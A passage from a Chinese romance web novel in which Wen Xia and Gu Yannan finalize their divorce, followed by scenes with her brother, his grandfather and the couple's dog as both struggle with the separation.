这几天,他们相处得很和谐,一起吃饭一起睡觉,饭后一起遛狗, 就像过去一年里那样。
可他心底比谁都清楚,早就不一样了。
他想反悔,收回答应离婚的话, 可想也不用想,她又会恢复成那副冷漠疏离的模样。
刚才,他盯着她看,发现她这几天的气色似乎比前段时间要好一些。
要是能让她高兴,离就离吧,反正他会把她追回来。
“你打算之后还在温氏和你大哥一起做生意,还是做你喜欢的画画?”顾衍南随意找了个话题。
温夏瞥他:“你问这做什么?”
她这是什么语气?顾衍南眉眼沉了下去:“我不能问?”
“……”
他们之间总是这样,说着说着就要吵起来,温夏不想最后一晚还和他吵,回他:“我还没想好。”
这话不是敷衍,她确实没想好要做什么。
原本计划着开个工作室,但比起经营,她更想单纯地画画。
画画和看书是她仅有的乐趣,如果当初不是温家破产,她不会把她的画拿出来卖钱,如果开工作室的话,不可避免地要把创作商业化。
她本就不缺钱,更何况顾衍南分她这么多,犯不着她把纯粹的兴趣变成工作。
见顾衍南因为她这句话有些不悦,温夏无奈地补充:“应该会先在温氏继续工作一段时间,大哥太忙了,等我把手里的这几个项目做完再说吧。”
她很在乎温砚,要比在乎他在乎得多,顾衍南眼睛暗了暗,薄唇辗转到她的脖子,轻轻啃咬,继续道:“顾氏有几个项目和你们温氏在做的匹配度很高,你可以跟我合作。”
温夏想也不想地拒绝:“不用。”
顾衍南低眸看她:“你不是心疼你大哥工作辛苦吗?跟顾氏合作是最好的选择,我一直都不明白你为什么这么排斥跟我有利益上的牵扯——”他的声音低了一度,眼神更深邃复杂,“温夏,你到底在介意什么?”
温夏咬着唇,呼吸凝滞住。
“嗯?到底是为了什么?”顾衍南盯着她的眼睛,穷追不舍地逼问,“商业联姻,两家利益牵扯在一起不是最寻常的事吗?你到底为什么这么排斥,是觉得绑得太深不能轻易跟我分开?”
被他说中心思,温夏神经拧紧,脸也冷了下来:“我困了,我要睡了,不跟你聊了。”
顾衍南:“……”
他看着她这幅耍赖的模样,又气又好笑,快速在她嘴唇上亲了两下,“再聊一会。”
温夏的半张脸埋在被褥中,听到他说:“我以后晚上只要不忙就会来看小蠢狗,你记得给我开门。”
“噢。”
“我跟张婶说,让她留在这里,重新找个人照顾小蠢狗需要适应期,张婶也习惯了在这里工作。”
温夏想了想:“好,如果张婶愿意的话。”
张婶毕竟是顾家老宅出来的,他们离婚后,张婶不一定愿意在这待。
顾衍南又亲回她的耳朵,很有技巧性地舔舐她的耳廓,温夏身体忍不住颤栗了下。
耳朵是她的敏感点,顾衍南自然清楚,感受到她的动情,他没有急于下一步,而是把他想问很久的话问了出来:“那天早上在洗手间,你真的那么讨厌我吗?”
那天,看到她在用力揉搓脖子上的吻痕,顾衍南无法准确地形容那一刻的感受,只觉得浓烈的挫败和慌乱。他的声音染上几分哑意:“你那天说的讨厌我,是真的还是气话?”
温夏闭上眼,拉过被子遮住脸,“真的。”
顾衍南,我真的很讨厌你。
话落,卧室陷入死寂的沉默。
安静得温夏能清晰地听到自己的心跳声。
几分钟后,她听到他低哑的声音:“睡吧。”
温夏翻过身,背对着他,顾衍南这次没再强行把她掰回来。
过了几分钟,他慢慢躺下,从身后抱住她。
-
一夜未眠。
第二天起床,温夏看着镜子里眼底的乌青,不想让自己看上去太憔悴,她简单地上了个淡妆。
今天恰好是霜降,室外的温度很低,温夏穿着风衣,忍不住打了个寒颤。
好冷……
突然,肩上一暖,携带着温暖体热的风衣搭在她肩上,带着浅淡的檀香气,从后面将她裹住。
温夏抬眸,看着身上只剩下件白衬衫的顾衍南,紧紧抿唇,正要拒绝,头顶响起一道不咸不淡的男声:“穿着,不然就不去离婚了。”
“……”
温夏无语地看着他。
顾衍南淡淡补充:“反正我本来就不想离。”
温夏眼睫轻颤了下,裹着他的黑色长风衣,“走吧。”
话落,温夏抬腿朝车边走,手募地被拉住,她回头的瞬间,顾衍南娴熟地将修长的手指穿插在她的指缝间,紧紧扣住她的手。
十指连心,他的手掌很暖和,热度传递到她的掌心,温夏挣扎两下没挣掉,只能由着他牵。
然而,顾衍南上车后也没放开她的手,不仅如此,他还把她抱到他的腿上坐。
面对面的姿势,她双腿分开坐在他的腿上,他的下巴搁在她的肩膀上,在她耳边低低道:“别乱动,让我再抱一会。”
温夏心口一窒,动作僵住。
一路无言,两人维持着这样的姿势一直到民政局。
这家民政局正是他们领结婚证的那家,当时两人疏离冷淡得就像在办最普通的行政手续,反倒是如今要分开,顾衍南一直牵着她的手。
温夏甩了几下没甩开,她紧紧抿着唇,没有因为牵手的事跟他吵,两人就这样手拉手朝民政局走。
今天的风大的有点离谱,他们逆风往前走,像是有一堵坚硬的风墙阻碍他们前行。
温夏披散在肩头的黑色长发被风吹得飘逸,有几缕带着发香的发梢就这样吹到顾衍南的脸上,他抬起手,将凌乱的发丝拨到耳后,指尖擦过她细嫩的肌肤。
两人都微微怔了下。
顾衍南牵着她手的力道不自觉重了几分,低声喊她的名字:“温夏。”
温夏眼睫颤了颤,随即抬眸看他。
顾衍南稍稍俯下身,和她保持平视,那双狭长漂亮的桃花眼里带着深沉晦暗的复杂情绪,温夏被他的眼神烫到,不想直视他的眼睛。
她屏住呼吸,听到他用缓慢低哑的声音说:“我们不离婚,好不好?”
“你想要的任何东西我都会给你,我保证不会再拿你在乎的人威胁你……你可不可以不跟我离婚?”顾衍南也不清楚自己临门一脚说这个有什么意义,离婚对他来说只是手续问题,他依然会无孔不入地侵入她的生活,可越到濒临结束的节点,他越意识到他有多不舍得和她离婚。
尤其是她今早过于顺从,无论是牵手还是拥抱她都顺着他,让他滋生或许有挽救可能性的幻想——万一呢?万一她其实也有点不舍呢?
顾衍南低眸,注视着她的脸。
她扯了扯嘴角,像是很无奈他的反复无常,随后用力把手从他的手中抽出来,顾衍南一时没留意,就这样被她抽走了。
“进去吧。”她踩着高跟鞋踏上台阶。
顾衍南看着她的背影,旋即自嘲地扯了扯唇,单手抄入裤袋中,抬腿跟了上去。
领证的程序很简单。
像他们这种协议离婚,没有孩子的,很容易就离婚了。
结婚时,顾大公子嫌麻烦,没有排队,从侧门进的,几分钟就拿到结婚证。
这次两人老老实实地跟着队伍往前龟速挪动。
速度再慢也终归是拿到了离婚证,签字盖章,工作人员把离婚证递给他们,温夏和顾衍南一人一本。
从民政局出来,外面的风更大了,温夏把离婚证放进包里,踩着高跟鞋下台阶。
不知道是不是站了太久排队的缘故,下台阶的时候不小心踩了空,身体往一侧倒去。
顾衍南瞳眸骤然一缩,眼疾手快地扶住她的腰。
温夏平复着受惊的心脏:“谢……”
字音刚出,顾衍南单手揽着她的腰,一把把她抱下了台阶,温夏愣了愣,反应过来,淡声道:“放我下来,我自己走。”
顾衍南充耳未闻,换了个话题:“我送你。”
温夏皱起眉:“不用,我哥来接我。”离婚的事她得跟大哥交代一下。
顾衍南也蹙起眉,想让她跟他走,却发现失去“丈夫”身份,他没有立场和理由这么做。
走下台阶,他不得不把她放下。
温夏没有跟他说什么离婚感言,往民政局门口走,余光瞥到身上的黑色布料,她一怔,抬手把身上的黑色风衣脱下来。
肩膀募地被按住。
“穿着,外面冷。”顾衍南拢了拢风衣的领口,习惯性地揉了下她的脑袋。
温夏的身体有一瞬的僵硬。
情绪的堤坝不知怎的,就这样轰然倒塌。
已经离婚了,她不需要他对她好,不需要他的关心,她不需要他!
温夏用力推开他的手,迅速把他的风衣脱掉,扔到他怀里。
顾衍南蹙眉,正要说什么,就被她平淡冷漠的语气打断:“我不想穿你的衣服。”
第49章 “我惹她生气了,她甩了……
温砚的车停在民政局门口。
上车后, 温砚问她想去哪,温夏想了想,回:“去公寓吧。”
温砚看她一眼, 打了左转向灯, 调转车头。
路上很安静,私下里,大哥的话比她还要少,没有问她离婚的原因,也没有问她接下来打算怎么办。
她也不清楚接下来要干什么,只知道她不能再和顾衍南在一起了。
离婚毕竟是大事,更何况是他们这种半联姻的形式, 温夏还是跟大哥主动交代了情况,避重就轻道:“我们对生活的理念有很大的矛盾,经常吵架冷战,想了想, 还是分开比较好。”
对于温夏的决定, 温砚从来不会干涉, 比起总是闯祸要他去收拾烂摊子的温诗,温夏从小就不让他操心,有着远超同龄人的成熟理智, 既然她选择和顾衍南离婚,肯定是经过深思熟虑的,不会是头脑发热一时冲动。
既如此,没有多说的必要, 温砚偏眸看她:“吃早饭了吗?”
温夏微愣:“吃了。”
早餐是顾衍南去她常吃的那家早点铺买的,小笼包还有他煮的紫薯粥,但她没什么胃口, 只吃了两个小包子和小半碗的粥。
温砚瞥了眼显示屏上的时间,“快十一点了,去你公寓附近的商场吃点东西?”
温夏摇摇头:“我没什么胃口,大哥你自己去吃吧。”
温砚睨着她:“我专程来给你当司机的?”
“……”
温夏还是被带到了一家茶餐厅,她吃不下去,就要了一杯冰柠茶,温砚慢条斯理地吃着烧鹅,突然抬头问了句:“你们刚才在民政局门口吵什么的?”见温夏迟迟不出来,他下车往里走,然后就看到两人在民政局门口争执。
温夏一愣,不小心被水呛到:“咳咳咳……”
“……”温砚递给她一张餐巾纸。
温夏接过,缓了一会,才道:“没吵。”
温砚挑了挑眉,“没吵你气的浑身发抖?”
温夏眼皮轻颤了下,淡声说:“外面冷,他非要让我穿他的外套,我不想穿。”
吼完那句“我不想穿你的衣服”,顾衍南微怔,没有再强迫让她穿,温夏转身就走。
外面的风很大,只穿一件单薄的风衣是有点冷,但没有他的外套她又不会冻死。
她不需要他。
温砚盯着她的发顶看了几秒,什么也没问,继续吃烧鹅。
温夏松了口气,接着砸吧她的冰柠茶。
饭后,温砚把她送回公寓,温夏下车后,没想到温砚跟着走了下来,她微愣,看到大哥拎着个纸盒,走到她跟前,“你去洗手间的时候我买的,你爱吃的柠檬蛋糕。”
温夏眼眸微动,伸手接过来。
温砚伸手摸了摸妹妹的脑袋,“有事记得给我打电话。”
“……哦。”
温砚走后,温夏在路边站了一会,拎着小蛋糕回到公寓。
很久没回这里了,打开门,屋内一片冷清,好在每周定时有人来打扫,空气里没有尘埃的味道,空气还算清新。
温夏把小蛋糕放进冰箱里,准备去卧室睡一会儿,昨晚一整个晚上都没睡着,现在脑袋处于濒临昏厥和极端清醒两个极端,一来到熟悉的地方,神经陡然放松,整个人快要昏过去。
途径书房,她突然想到什么,推开书房的门。
像是身体的本能指引,她从书架抽出一本黑封皮的素描本。
随手翻了一页,黑色铅笔在白纸上勾勒出的轮廓,是十六岁的顾衍南。
很年轻,五官并没什么变化,只是多了几分少年独有的意气风发。
画面的背景是在篮球场上,只不过被她虚化了,画面里只有一个人。
铅笔勾勒的素描画,只有一种颜色,温夏盯着画中少年那双锐利的眼睛,大脑从记忆中调取出完整的画面。
那天是学校的篮球赛,温夏被同学拉去篮球场给自班的男生加油助威,虽然他们文科班的男生只是“重在参与”。
赶过去的时候,尖叫声此起彼伏,一声声兴奋激动的呐喊声拼凑出一个熟悉的名字——顾衍南。
同学也很激动,拉着温夏往人群里钻:“同学麻烦让让……”
废了好大的劲,她们终于挤到前几排,温夏从缝隙中看到了顾衍南。
篮球场上有不少人,顾衍南极为出挑,光是身高就足以压别人一大截,更别提那张引得无数女生尖叫的脸。他穿着一身红白色的球衣,在对方的球就要投掷进筐时,他纵身一跃,伸出长臂截住了球。
然后在众人的注视下,站在线外投掷,进了个三分球!
场内突然安静下来,随即爆发更热烈的喝彩。
“啊啊啊啊三分球!”
“啊啊啊顾衍南好帅好帅我死了啊啊!”
不知道是天气太热,还是场内的气氛感染,温夏的情绪忍不住跟着激动起来,视线追随着那道红色身影。
又一个扣篮,场上尖叫声能把耳朵喊聋,少年突然转身——
就这样对上温夏直勾勾的视线。
温夏的心脏漏跳一拍。
少年那双锐利漆黑的眼睛微微眯起,目光仿佛有实质的触感一般,让她的心弦轻轻被拨动了下。
她不记得自己当时怎么想的,一时没有挪开目光,就这样一瞬不瞬地和他对视。
其实很短暂,差不多两三秒的时间,却在四目相对间被无限拉长。
“夏夏!顾衍南在看我们这边诶!”同学抱着她的胳膊,语气激动地说。
温夏收回视线:“是么。”
“是的是的!难道这边有他认识的人?”同学往后扫了一圈,人乌泱泱的,也看不清,“哎呀我就当他是在看我了!”
“……”
被科普了一会儿顾衍南的事迹,温夏再次抬头,比赛进入了中场休息,许多女生蜂拥而上,去给顾衍南送水递毛巾,他接过其中一个短发女生递来的,应该是他们班的班长。
……
温夏陡然回神,盯着画中的少年,过去那么多年的画面清晰地涌入脑海,清晰到让温夏有一瞬的崩溃。
她盯着这幅画看了许久,突然抬手,将这一页画纸从中间撕了下来,对折,再撕,一副完整的素描画变成无数细薄的碎片。
窗户没开,碎纸散落满地,她怔怔地看着满地的纸片,体内滋生一股强烈的摧毁欲,她抬手把剩下的画纸全都撕成大小不一的碎片。
无数张画纸最后变成无数片碎纸,撕到一半,温夏有些累,她低头,看着即将被摧毁的这幅素描画,少年眼神懒洋洋的,眸中含着暖色调的笑意。
她怔怔地盯着,好似那双眼睛正在对她笑。
越看,眼前越是模糊,温夏后知后觉地回过神,环视一圈,看着满地的碎纸片,还有已经被撕的只剩下一半的画册,难以置信地看着满地狼藉。
她一直避免变成这幅难堪的模样,好在只有她自己知道。
幸好只有她自己知道……
-
不出顾衍南所料,他们前脚刚出民政局,后脚顾老爷子就收到消息。
老爷子气的够呛,冲着电话吼:“给我滚回来!!”
黑色宾利停在公寓楼下,顾衍南靠着车身,仰头朝某个方向看去——
虽然什么都看不见。
他掐灭烟,随口应了声“这就回去”,回到车上。
瞥到放在车椅上的黑风衣,回想起她那句冷淡的“我不想穿你的衣服”,他自嘲地扯了扯唇。
她是有多讨厌他,宁愿冻着,也不愿意穿他的衣服。
“回老宅。”他阖着眸,淡声吩咐。
司机:“是。”
车内还残存着淡淡的柠檬香,是她身上的香味,顾衍南闭着眼睛,拇指抵着太阳穴,靠在椅背上休息。
昨晚一夜没睡着,他知道她也没睡,但他没有做什么,只是抱着她,那样会让他心安。
要很长一段时间不能抱着她睡了。
司机从后视镜看到他眉头微蹙,似是有些烦躁,自作主张地播放一首舒缓的纯音乐——这是夫人告诉他的,说这首小调有安神的功效。
先生工作忙,免不了要在车上休息,夫人跟他说了很多先生喜欢的香片味道和音乐。
只是……唉,怎么就离婚了呢。
司机的目光从后视镜收回时,顾衍南的眉头已经舒缓了些,伴着舒缓悠扬的小调,勉强浅睡了十几分钟。
车子抵达老宅,阮眠在门口等他,满脸焦急:“哥你怎么和嫂嫂离婚了?你们上周五不还好好的?到底怎么回事啊!”
上周五一起来老宅吃饭,哥哥和嫂嫂还手牵着手,吃饭的时候互相夹菜,就连饭后闲谈也依偎在一起,哥哥还用手给嫂嫂剥开心果,喂到嫂嫂嘴边。
看着可腻歪了。
到底怎么回事!!
顾衍南:“进去说。”
阮眠干着急,江肆安抚地捏了捏她的掌心,“进去再说吧。”
阮眠点了点头:“嗯。”
顾衍南走在前面,刚进去,一个陶瓷杯飞过来,身体本能反应要躲开,但还是站定在原地,杯子正中额头,然后“啪”得摔在地上,四分五裂。
重物狠狠击中,额头破皮流了点血,顺着脸颊慢慢往下流,乍一看很吓人——
再加上他穿着件白色衬衫,鲜血滴在衬衫上,很快便沾染上了血滴,看上去狼狈极了。
阮眠吓了一跳,见爷爷还要砸,连忙跑过去抱住他的胳膊,劝道:“爷爷,你先听大哥解释啊!”
被孙女按着胳膊,顾老爷子瞪她一眼,阮眠执着地不让他再动手,给顾衍南使眼色:“哥你快解释啊!”
顾老爷子看他满头的血,气稍微消了点,用力杵了下拐杖,怒道:“好,好,我倒要听听你怎么解释。”
江肆递给顾衍南几张消毒湿纸巾。
顾衍南接过后,慢条斯理地擦血,淡淡道:“我做了浑事,惹她生气了,她甩了我。”
第50章 “你什么时候回家?”……
顾老爷子气的拿拐杖抡了顾衍南的后腰, 怒不可揭:“我就知道!我就知道肯定是你的错!你到底犯了什么浑?!你最好别跟我说你在外面有人了,不然我亲手打死你!”
自己这个孙子他是知道的,也怪他的基因太好, 浑小子遗传到他的基因, 长了一张人见人爱的脸,还没会走路,带出去每个人都想抱一抱,幼儿园就有不少小姑娘想跟他坐同桌。长大后更是不得了,有几次人家姑娘都追到家里来了,加上在自由美利坚念了几年书,顾老爷子受到那些绯闻的影响, 一直觉得浑小子的情史丰富。
反正肯定不是什么纯情小男生。
大一那年寒假,跑到维港的拍卖会,一连拍了十几件女人佩戴的珠宝,跟钱是大风刮来似的, 眼睛也不眨地花了好几个亿, 那时候顾衍南创业刚起步, 拿不出那么多现金,最后账单是顾老爷子付的。
这钱不算多,但也绝不是小钱, 顾老爷子质问他怎么回事,浑小子漫不经心地回他:“送姑娘的。”
顾老爷子一听,由怒转喜:“我当然知道是送姑娘的,不然还能给我戴的?那姑娘是哪家的?”
浑小子口风很严:“只是送个礼物, 不代表什么,您不要好奇心太重去查。”
顾老爷子查倒是没查,他还没控制欲强到连孙子交往的姑娘都要弄得一清二楚, 不过顾老爷子观察到,浑小子应该是真的挺喜欢那姑娘的,那段时间每天回到家的心情都挺不错,在家偶尔穿着低领的毛衣,他都能看到浑小子脖子上满满的印子。
不过这事他一个长辈说起来太尴尬,顾老爷子没拆穿他。
后来估计两人闹掰了,没再听浑小子提起过,顾老爷子也没追问,年轻人谈恋爱分手很正常,再然后就是层出不穷的绯闻,浑小子已经快二十了,顾老爷子也不好多管他的私生活。
不过婚前他不管,但婚后必须得保持忠贞,要是顾衍南真的做出这种道德败坏的事,他一定会清理门户!
顾衍南对老爷子的这个猜测很不满,沉着脸:“不是。”
“那是因为什么?”顾老爷子怒瞪他。
“具体是什么您就别问了,”顾衍南看着顾老爷子,语气坚定得不知道在说给谁听,“我会把她追回来。”
他只答应离婚,又没答应放过她,他会把她追回来,以任何代价。
顾老爷子怀疑地看着他:“你会追姑娘吗?”
从小到大,他估计都是姑娘追着浑小子跑,把他给惯坏了,不然也不会好好的一个媳妇给折腾没了。
“这样——”顾老爷子看向江肆,“小江有经验,你教教他。”
江肆当初追阮眠追了大半年的时间,据眠眠说,当初两人刚认识也是江肆追的她,追姑娘这事,江肆有经验。
“……”
江肆眼皮跳了跳:“好的,爷爷。”
“行,那你赶紧教他几招,让他快点把小夏给追回来。”
说完,顾老爷子把客厅留给他们年轻人,由杨叔搀扶去院子里晒太阳。
江肆惦记着老爷子交代的任务,走到顾衍南旁边,正要传授经验,就被顾衍南轻飘飘的一句话给怼回去——
“她没有眠眠那么好骗。”
阮眠:“……”
我还在这呢!
阮眠清楚,哥哥对于她轻易松口和江肆复合颇有微词,认为她太没脾气,可她觉得误会说清楚好好在一起就是了,为什么非要弄得彼此都累。
她和江肆深爱着对方,当年分手的事也解释清楚,那就在一起呗。
阮眠从她和江肆的经历中总结出经验,劝道:“哥,你应该弄清楚嫂嫂要和你离婚的根本原因,你们最大的矛盾点是什么,搞清楚这个,把误会解释清楚,嫂嫂会回心转意的。”
顾衍南眯了眯眸,误会,他们之间没有误会,她只是不愿意要他了。
他们之间,和江肆阮眠,还有沈青砚许婧都不一样,前者是彼此深爱,因为外界因素被迫分开,后者是许婧爱了沈青砚很多年。
而他们,别说是喜欢,她甚至讨厌他。
顾衍南垂眸,隐下眼底的晦暗,喉结轻滚,嗓音低沉,听不出什么情绪,回妹妹:“知道了。”
阮眠给他鼓劲:“哥你肯定能把嫂嫂追回来,我觉得嫂嫂对你的感情很深,”结合江肆追她时的经历,阮眠委婉道,“哥你追人要拿出追人的态度,不要总是高姿态等着嫂嫂主动,你要放低一点姿态嘛。”
阮眠一直觉得哥哥在这方面是有点过分的,好几次,也不知道他在拿什么乔,非要拐弯抹角地明示暗示,让嫂嫂主动把他想要的提出来。
反正如果江肆要是这么对他,她肯定是要生气的!
顾衍南多看阮眠一眼,眼眸微微动了下。
他在她面前,已经低到不能再低了,哪次吵架不是他服软?
他哪里有高姿态?
-
温夏这一觉睡到第二天十点,临睡前,她给张婶发了短信,让她照顾言言,得到回复才关机睡觉。
睡了将近二十个小时,却完全不解乏,反倒把腰睡得酸痛,她浑身无力,脑袋也昏昏沉沉的,睁开眼,茫然地看着天花板。
好半响,她去摸枕头下的手机。
开机,无数的短信和电话蹦出来。
置顶的AAA顾衍南,给她发了好几条短信。
[怎么没回家?]
[小蠢狗在家等你。]
[什么时候回来?我去接你?]
[……]
温夏皱起眉,忽略他的短信,把他的备注改成顾衍南,然后取消置顶。
脑子里有一瞬闪过把他拉黑的念头,又觉得没必要,没到老死不相往来的地步。
电话顾衍南也打了好几个,温夏没给他回,她不想听见他的声音。
做完这些,她往下滑动界面,看到梁从音给她打了两个视频电话,分别是昨天晚上八点和今早九点多,温夏正要回,门铃声突然响起。
她放下手机,掀开被子,踩着拖鞋走到门口,从显示屏里看到拎着满满两大包购物袋的梁从音,微微一怔,立刻把门打开。
梁从音自上而下打量她一番,见她状态还可以,松了口气,拎着袋子进来,“吓死我了你,电话电话不接,短信短信不回,你要是再不开门,我真的要报警了。”
温夏给她拿拖鞋,接过购物袋,“我在睡觉,手机关机了。”
“你睡了多久?”
“昨天下午两点多睡的,刚醒没多久。”
梁从音震惊地看着她:“你可真能睡。”
温夏的睡眠是正常水平,一般情况下,每天睡七八个小时就足够了,估计是前天一夜没睡,这一觉才睡了这么久。
购物袋放到岛台上,梁从音换上拖鞋,把吃的喝的一股脑从里面全都拿出来:“我最近跟着我们家祁总监学会做了好几道家常菜呢,今天中午我亲自下厨做给你吃,荣幸吗?”
温夏看着成堆的食材,心口一暖:“荣幸。”
梁从音把外套脱掉,随手扔到沙发上,“你也别闲着,收拾收拾进来给我打下手。”
温夏换了身衣服,跟梁从音一起进厨房。
从前的梁从音可谓是十指不沾阳春水,连煮米饭加多少水估计都不知道,现在切菜备菜有模有样的,温夏感慨道:“你怎么突然想着学做饭?”
梁从音利落地切葱段,头也没回:“是祁源先学的,我的胃被我年轻那会喝酒应酬糟蹋的经常痛,有一次半夜疼得在床上打滚,从那之后他就开始学做饭了,我看他做饭感觉也挺有意思,正好前段时间他生日,我想亲自下厨做给他吃,就学了。没有我想的那么无聊,偶尔做点这种不用动脑子的活,还挺解压的。”
温夏怔怔地看着她,自从和祁源在一起之后,梁从音渐渐变了很多,不再像以前那样情绪易怒易激动,整个人的身上仿佛都铺上一层柔软的暖色调。
合适的另一半对另一方的影响不亚于父母,反之,只会把原来的性格缺陷无限放大。
梁从音简单地做了几道家常菜,味道出乎意料得好,温夏夹起一块虾滑,夸赞:“好吃。”
“嘿嘿,这几道都是我的拿手菜,”梁从音给她夹菜,“好吃你就多吃点嘛,不要辜负我的劳动成果。”
温夏又夹起一块牛肉塞进嘴里,她其实不饿,也不想吃饭,但她不想让梁从音担心,勉强把碗里的饭吃完。
饭后,梁从音把她家里从买来就没用过几回的投影仪打开,找出一部商业片:“裴霖的新电影,票房可高了。”
“还记得你第一次见他吗?唯唯诺诺的,现在已经可以独挡一面了。”
温夏看着大屏幕里俊朗帅气的少年,想起当初因为他,她和顾衍南闹得那一出,如今想来,很多事早有预兆。
梁从音一直陪她到傍晚,边看电影边聊以前的事,对于温夏离婚的事缄口不提。
临走前,她问:“你之后就打算住在这里吗?”
温夏摇摇头:“我还住明湖公馆。”温夏把言言抚养权的事简略地说了一遍。
梁从音啧了声,心想:顾大公子还不如一只狗重要。
“那你什么时候回去?”
“等顾衍南搬走。”温夏打算等会给张婶打个电话,问顾衍南有没有搬走,等他搬走她再回去。
梁从音盯她看了几秒,把想说的话咽了下去:“行吧,那我先回去了,有什么事给我打电话。”
“嗯。”
梁从音走后,似乎把鲜活的人气也带走,公寓恢复了如常的冷清。
温夏在沙发上呆坐了会,看了眼时间,准备给张婶打电话,正翻找聊天记录,门铃突然响起。
她以为是梁从音有什么东西落在这里,直接打开门,跟正要打电话的顾衍南四目相对。
两人皆怔了下。
温夏的目光一眼被他额头上红肿的伤痕吸引,是被顾爷爷打的吗?
念头不过一瞬,被她抛到脑后,温夏淡着脸,没什么情绪地问他:“有什么事吗?”
顾衍南看着她冷淡的表情,呼吸微窒,默了几秒,哑声问:“你什么时候回家?”
昨天从老宅离开后,他回到家,躺在有她气息的床上,抱着她的枕头睡了一觉。
醒来后,他做了丰盛的晚饭,想等她回来一起吃,可她不接他的电话,不回他的短信,在他要去公寓找她时,张婶却说她中午打电话说今晚不回来了。
他看了眼时间,心想她估计要睡觉了,就没去吵她休息。
可是今天,一直等到现在,她还不理他,也没说回不回家,顾衍南没忍住,还是开车过来了。
他没法把他想她宣之于口,因为那没什么效力,好在她还在乎小蠢狗。顾衍南嗓音沙哑,低声说:“言言想你了,你昨天就没回去陪它。”
温夏抿着唇,淡声问:“你搬走了吗?”
顾衍南微微眯起眼:“你就这么急着赶我走?”
温夏又一次把目光从他受伤的额头挪开,寡声道:“我今晚回去看它,等你搬走了我再回去住,这期间我会住在这里。”
来的路上,他做好她会很冷漠的心理准备——从在民政局门口她宁愿冻着也不穿他的衣服就能推测出来,她似是准备把他当成完全的陌生人。
她的性格一向如此,做了决定就不会再拖泥带水。
他是提前做过心理准备的。
可即便如此,看着她冷淡的表情,听着她冷淡的声音,他的胸口仍感到窒息,像是有一张铁网紧紧绞住他的心脏。
顾衍南喉结艰涩地滚动,那漆黑的桃花眸直勾勾地看着她,然后自嘲地扯了扯嘴角。
“你今晚回去之前,我会搬走,你不用来回折腾。”
“好,我晚点会回去。”说着,她的视线又往他的额头上瞥,伤口虽然不深,但他明显没有做过处理,会有发炎的风险,肿了那么一大块。
顾衍南注意到她的目光,随口解释:“老爷子打的。”
温夏猜到了,这个世界上,能打他、敢打他的人,也就只有顾爷爷了。
她忍不住问了句:“是因为离婚的事吗?”
“嗯。”顾衍南语气随意。
温夏皱着眉,想问他难道不知道躲吗?这么肿的伤口,一看就是被重物砸的,但她没问,很简单,没有立场,也不该关心。
她强行把注意力收回,脸色和声音都淡下去:“麻烦你搬走后给我发条短信,我再回去。”
顾衍南微眯起眼睛,眉眼间升起一抹戾气,握着手机的手背上的青筋凸起,他很想堵住她的唇,让她把难听冷漠的话全都收回去。
可这只会换来她更强烈的抵触。
沉默在两人之间发酵。
温夏率先打破令人窒息的沉默,单手扶着门框:“还有事吗?没事的话我要关门了。”
顾衍南一言不发地盯着她,黑眸像是一把锐利的冰刃。
温夏强绷着一张冷淡的脸,等了三秒,抬手,“砰”的一声,把门关上。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
50-60
第51章 “顾衍南,你别欺人太甚……
关上门, 温夏的身体顺着门板,慢慢坐下,就这么坐在坚硬的地板上。
几分钟后, 门外的脚步声响起, 越来越远,然后是电梯声,他走了。
温夏闭着眼睛,把下巴搁在膝盖上,眼前不断浮现他额头上的红肿,以她对他的了解,别说去医院处理伤口, 他根本不会当回事,连自己在家用消毒水清洗都嫌麻烦,伤口有可能会恶化。
可是这不关她的事,她不该关心这么多。
温夏烦躁地揉乱头发, 她想起梁从音下午说起自己历段感情经历, 有的三五天就过去了, 有的要一个多月才能忘,而祁源是她努力忘也忘不了,所以最后耗费很大力气把人追到手的例外。
就连玩玩而已的炮友, 突然分开也会有短暂的不习惯,更何况她和顾衍南一起生活两年之久,一时戒不掉某些习惯是非常正常的现象,她不需要感到羞愧。
当年他们分开, 一开始她也会经常想到他,后来的频率越来越低,从每时每刻到每天再到每周, 时间会冲淡一切。
现在不过是重复经历一次。
她现在比那时候要成熟,再加上有过上次的经验,肯定会比那时候要更容易度过戒断期。
大概过了半个多小时,手机震动,温夏低头一看,是顾衍南发来的短信:[回家吧。]
指尖轻轻颤了下,温夏怔然地盯着那三个字,直至屏幕自动变黑,清晰地倒映出她的脸。
温夏回去的时候,顾衍南正在院子里逗狗玩,她刚从车上下来,一人一狗齐齐朝她看去。
已经是晚上七点了,别墅内的暖黄色光线从四面八方洒落,透过稀疏的树叶间隙落在他的身上,让他整个人看起来多了几分柔软的居家感。
就像丈夫在等晚归的妻子。
言言一整天没见她,此刻异常兴奋,撒开脚丫子朝她跑去,猛地撞上她的腿,然后咬着她的裤腿往前。
“言言,慢点。”温夏快步跟着它,被它半拉半扯拽到顾衍南跟前才松开牙齿,兴奋地绕着两人边叫边跑。
“汪!汪汪!!”开心!爸爸妈妈一起陪我!!
顾衍南眉梢微挑,心想没白陪这小蠢狗玩,看来也不算蠢。他蹲下身,用力揉搓着小蠢狗的脑袋,嗓音低沉:“它一直望着门口,等你回家。”
等你回家。
温夏垂在身侧的手指慢慢蜷起,睫毛细密地颤动。
几秒后,她挪开视线,淡声说:“你陪它吧,我进去了。”
说完,没等顾衍南应声,她踩着高跟鞋往室内走去。
身后,言言的叫声不绝于耳,还有一道实质感很强的视线盯着她的背影,全被她抛在脑后。
……
张婶在餐厅急的团团转。
前段时间,少爷和少夫人冷战好一阵时间,她虽着急,但没有太当回事,毕竟这两人吵架冷战的频率很高,比起当年少爷的父母有过之而无不及。
年轻夫妻吵架是常事,更何况两人性子都这么要强,张婶心想他们会和以往无数次那样和好,没想到两人却离婚了。
怎么会离婚呢?两个这么般配的人,怎么会离婚?
张婶愁的不行,听到客厅传来的脚步声,连忙走出去,看到温夏眼睛一亮:“少夫人,您可算回来了,您再不回来,少爷亲自做的饭就要凉了!”
温夏下意识看向餐桌,微微怔住。
简单的四菜一汤,全是她爱吃的菜,热气蒸腾,隔着这么远的距离都能闻到饭菜的香气。
见她的目光盯着饭菜,张婶替自家少爷说了句好话:“这道糖醋小排骨少爷去找您之前就开始煮了,我去给您盛饭?”
温夏眼皮动了动,她深吸一口气,淡声说:“我吃过了。”
张婶:“那这些菜……”
“倒掉吧。”
张婶语气震惊:“什么?”
温夏看着她:“倒掉。”
张婶微愣,连忙点头:“哦哦好的。”
直至温夏上楼,张婶松了口气。
最开始相处,她以为少夫人的性子会很冷,不怎么好相处,但事实相反,少夫人在琐事上是个随和的人,相处近两年,有时候她脑子晕做错事,少夫人也不会说什么。
这是张婶第一次见她这么严肃。
压迫感好强,和少爷比,也差不了多少……
